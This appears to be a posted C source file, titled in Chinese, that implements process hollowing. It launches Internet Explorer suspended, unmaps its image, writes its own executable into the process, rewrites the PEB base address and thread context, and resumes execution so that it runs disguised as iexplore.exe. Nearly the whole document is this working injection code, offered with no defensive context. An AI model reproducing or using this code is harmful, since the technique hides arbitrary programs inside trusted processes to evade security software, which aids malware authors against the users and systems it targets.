把自身插入到IE進程裡的代碼

#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
      HANDLE ProcessHandle,
      PVOID BaseAddress
      );

typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS;

char szIePath[MAX_PATH];

BOOL FindIePath(char *IePath,int *dwBuffSize);
BOOL InjectProcess(void);
DWORD GetSelfImageSize(HMODULE hModule);

BOOL CreateInjectProcess(
       PPROCESS_INFORMATION pi,
       PCONTEXT pThreadCxt,
       CHILDPROCESS *pChildProcess
       );

int main(void)
{
if (InjectProcess() )
{
   printf("This is my a test code,made by shadow3.\r\n");
}
else
{
   MessageBox(NULL,"進程插入完成","Text",MB_OK);
}

return 0;
}

BOOL FindIePath(char *IePath,int *dwBuffSize)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '\0';
   lstrcat(szSystemDir,"\\ProgramFiles\\Internet Explorer\\iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}

BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory(szModulePath,MAX_PATH);
ZeroMemory(szIePath,MAX_PATH);

GetModuleFileName(NULL,szModulePath,MAX_PATH);
FindIePath(szIePath,NULL);

if ( lstrcmpiA(szIePath,szModulePath) == 0 )
{
   return FALSE;
}

hModule = GetModuleHandle(NULL);
if ( hModule == NULL )
{
   return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

if ( CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess) )
{
   printf("CHILD PID: [%d]\r\n",pi.dwProcessId);
 
 
   if ( ZwUnmapViewOfSection(
    pi.hProcess,
    (LPVOID)stChildProcess.dwBaseAddress
    ) == 0 )
   {
    lpVirtual = VirtualAllocEx(
     pi.hProcess,
     (LPVOID)hModule,
     dwImageSize,
     MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
     );
  
    if ( lpVirtual )
    {
     printf("Unmapped and Allocated Mem Success.\r\n");
    }
  
   }
   else
   {
    printf("ZwUnmapViewOfSection() failed.\r\n");
    return TRUE;
   }
 
   if ( lpVirtual )
   {
    PPEB = (DWORD *)ThreadCxt.Ebx;
  
    // 重寫裝載地址
  
    WriteProcessMemory(
     pi.hProcess,
     &PPEB[2],
     &lpVirtual,
     sizeof(DWORD),
     &dwWrite
     );
  
  
    if ( WriteProcessMemory(
     pi.hProcess,
     lpVirtual,
     hModule,
     dwImageSize,
     &dwWrite) )
    {
     printf("image inject into process success.\r\n");
   
     ThreadCxt.ContextFlags = CONTEXT_FULL;
     if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
     {
      ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
     }
     else
     {
      ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
     }

#ifdef DEBUG
     printf("EAX = [0x%08x]\r\n",ThreadCxt.Eax);
     printf("EBX = [0x%08x]\r\n",ThreadCxt.Ebx);
     printf("ECX = [0x%08x]\r\n",ThreadCxt.Ecx);
     printf("EDX = [0x%08x]\r\n",ThreadCxt.Edx);
     printf("EIP = [0x%08x]\r\n",ThreadCxt.Eip);
#endif
   
     SetThreadContext(pi.hThread, &ThreadCxt);
     ResumeThread(pi.hThread);
   
    }
    else
    {
     printf("WirteMemory Failed,code:%d\r\n",GetLastError());
     TerminateProcess(pi.hProcess, 0);
    }
  
   }
   else
   {
    printf("VirtualMemory Failed,code:%d\r\n",GetLastError());
    TerminateProcess(pi.hProcess, 0);
   }
}

return TRUE;
}

DWORD GetSelfImageSize(HMODULE hModule)
{
DWORD dwImageSize;

_asm
{
   mov ecx,0x30
    mov eax, fs:[ecx]
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x0c]
    add esi,0x20
    lodsd
    mov dwImageSize,eax
  
}

return dwImageSize;
}

BOOL CreateInjectProcess(
       PPROCESS_INFORMATION pi,
       PCONTEXT pThreadCxt,
       CHILDPROCESS *pChildProcess
       )
     
{
STARTUPINFO si = {0};

DWORD *PPEB;
DWORD read;

// 使用掛起模式啟動ie

if( CreateProcess(
   NULL,
   szIePath,
   NULL,
   NULL,
   0,
   CREATE_SUSPENDED,
   NULL,
   NULL,
   &si,
   pi
   ) )
{
   pThreadCxt->ContextFlags = CONTEXT_FULL;
   GetThreadContext(pi->hThread, pThreadCxt);
 
   PPEB = (DWORD *)pThreadCxt->Ebx;
 
   // 得到ie的裝載基地址
   ReadProcessMemory(
    pi->hProcess,
    &PPEB[2],
    (LPVOID)&(pChildProcess->dwBaseAddress),
    sizeof(DWORD),
    &read
    );
 
   return TRUE ;
 
}

return FALSE;
}